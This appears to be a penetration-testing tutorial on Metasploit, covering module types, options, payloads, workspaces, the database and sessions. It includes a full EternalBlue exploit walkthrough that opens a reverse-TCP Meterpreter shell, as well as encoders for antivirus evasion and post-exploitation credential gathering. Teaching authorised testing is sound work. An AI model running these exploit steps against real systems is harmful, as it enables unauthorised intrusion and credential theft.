Metasploit Framework Basics

What Metasploit Is

Metasploit is the world's most widely used exploitation framework. It provides a standardized interface for developing, testing, and executing exploits against target systems. Think of it as a toolbox where each tool (module) performs a specific function — exploiting a vulnerability, scanning a service, or extracting credentials.

Module Categories

Metasploit organizes modules into categories:

Exploit — Takes advantage of a vulnerability to gain code execution or access. Each exploit targets a specific vulnerability in a specific product.

exploit/windows/smb/ms17_010_eternalblue
exploit/multi/http/struts2_content_type_ognl
exploit/linux/http/apache_struts_rce

Auxiliary — Performs scanning, enumeration, or other non-exploitation tasks. Auxiliary modules do not give you a shell.

auxiliary/scanner/ssh/ssh_version
auxiliary/scanner/smb/smb_enumusers
auxiliary/scanner/portscan/tcp

Payload — The code that runs on the target after successful exploitation. Payloads provide the interface to the compromised system.

payload/linux/x64/meterpreter/reverse_tcp
payload/windows/meterpreter/reverse_https
payload/cmd/unix/reverse

Post — Post-exploitation modules that run after you have a session. They extract credentials, escalate privileges, and gather intelligence.

post/multi/manage/shell_to_meterpreter
post/linux/gather/enum_system
post/windows/gather/enum_logged_on_users

Encoder — Obfuscates payloads to evade antivirus and intrusion detection systems.

Nop — Generates no-operation sleds for buffer overflow exploits.

Searching for Modules

# Search by keyword
msf6 > search eternalblue

# Search by CVE
msf6 > search cve:2017-0144

# Search by platform
msf6 > search platform:windows type:exploit

# Search by service
msf6 > search smb

# Get module info
msf6 > info exploit/windows/smb/ms17_010_eternalblue

Module Information

The info command reveals:

• Name — Module identifier
  n- Description — What the exploit does
• Targets — Supported OS versions and architectures
• Options — Required and optional parameters
• References — CVE IDs, advisories, and documentation

Using a Module

# Select a module
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# Show available options
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

# Set required options
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444

# Verify configuration
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

# Run the exploit
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

Understanding Module Options

Every module has options that control its behavior. The show options command displays:

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target address range
   RPORT           445             yes       The target port
   SMBPIPE         BROWSER         yes       The pipe name to use

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

Required options (marked yes) must be set before the module can run. Optional options have default values but can be overridden.

Target Selection

Many exploits support multiple targets (different OS versions, architectures, or software versions). The show targets command lists them:

msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting
   1   Windows 7
   2   Windows 8.1
   3   Windows 10
   4   Windows Server 2008 R2
   5   Windows Server 2012 R2

Select a specific target:

msf6 > set TARGET 1

Payload Selection

The payload determines what you get after successful exploitation. Common payload types:

Meterpreter — The most powerful payload. Provides an interactive agent with extensive post-exploitation capabilities.

windows/x64/meterpreter/reverse_tcp    — Windows 64-bit, reverse TCP
windows/meterpreter/reverse_tcp        — Windows 32-bit, reverse TCP
linux/x64/meterpreter/reverse_tcp      — Linux 64-bit, reverse TCP

Command shell — Simple shell without Meterpreter's advanced features.

windows/shell/reverse_tcp              — Windows command shell
linux/x64/shell/reverse_tcp            — Linux shell

Bind vs Reverse

• Reverse — The target connects back to you. Works through firewalls and NAT.
• Bind — You connect to the target. Requires direct access to the target.

Reverse payloads are preferred because they work in most network environments.

Setting Payload Options

After selecting a payload, set its options:

msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50    # Your IP (the target connects back to this)
msf6 > set LPORT 4444            # Your listening port

Checking Configuration

Before running an exploit, verify all options:

msf6 > show options

Ensure all required options are set. Missing required options will cause the exploit to fail.

Running the Exploit

# Run once
msf6 > exploit

# Run as a job (background)
msf6 > exploit -j

# Run with verbose output
msf6 > exploit -v

If successful, you will see:

[*] Started reverse TCP handler on 192.168.1.50:4444
[*] 192.168.1.100:445 - Sending exploit...
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.100:49152)

Practical Example: Exploiting EternalBlue

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.100
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > set LPORT 4444
msf6 > exploit

This exploits the SMB vulnerability (CVE-2017-0144) on the target and opens a Meterpreter session.

Why Workspaces Matter

During a penetration test, you work with multiple targets, each with its own hosts, services, vulnerabilities, and sessions. Workspaces keep this data organized and separated. Without workspaces, data from different engagements mixes together, making analysis and reporting difficult.

Creating and Managing Workspaces

# List workspaces
msf6 > workspace

# Create a new workspace
msf6 > workspace -a client_a

# Switch to a workspace
msf6 > workspace client_a

# Delete a workspace
msf6 > workspace -d client_b

Database Integration

Metasploit can use a PostgreSQL database to store engagement data. The database persists hosts, services, vulnerabilities, credentials, and sessions across restarts.

Setting up the database:

# Initialize the database
msf6 > db_status
[*] postgresql connected to msf

# If not connected, initialize
msf6 > db_init

Importing scan data:

# Import Nmap scan results
msf6 > db_import nmap_scan.xml

# Import Nessus scan results
msf6 > db_import nessus_scan.nessus

Working with Hosts and Services

Once data is in the database, query it:

# List all hosts
msf6 > hosts

# List all services
msf6 > services

# List hosts with a specific port open
msf6 > services -p 445

# Search for a specific host
msf6 > hosts -R 192.168.1.100

Session Management

# List active sessions
msf6 > sessions

# Interact with a session
msf6 > sessions -i 1

# Kill a session
msf6 > sessions -k 1

# Kill all sessions
msf6 > sessions -K

Practical Workflow

1. Create workspace — workspace -a client_a
2. Import scan data — db_import nmap_results.xml
3. Review hosts — hosts and services
4. Select target — hosts -R 192.168.1.100
5. Find exploits — search for the target's services
6. Exploit — use module, set options, exploit
7. Post-exploit — Use post modules to extract credentials and escalate
8. Document — db_export for reporting

Loot and Credentials

Metasploit stores extracted credentials in the database:

# View captured credentials
msf6 > creds

# View loot (files, hashes, etc.)
msf6 > loot

This centralizes all extracted data, making it easy to correlate findings and generate reports.

Tips for Effective Workspace Usage

• One workspace per engagement — Never mix data from different clients
• Import early — Import scan data as soon as you have it
• Use tags — Tag hosts and services for quick filtering: hosts -c address,os_name --tag windows
• Export before deleting — Always export data before deleting a workspace
• Back up the database — Regularly back up the PostgreSQL database to prevent data loss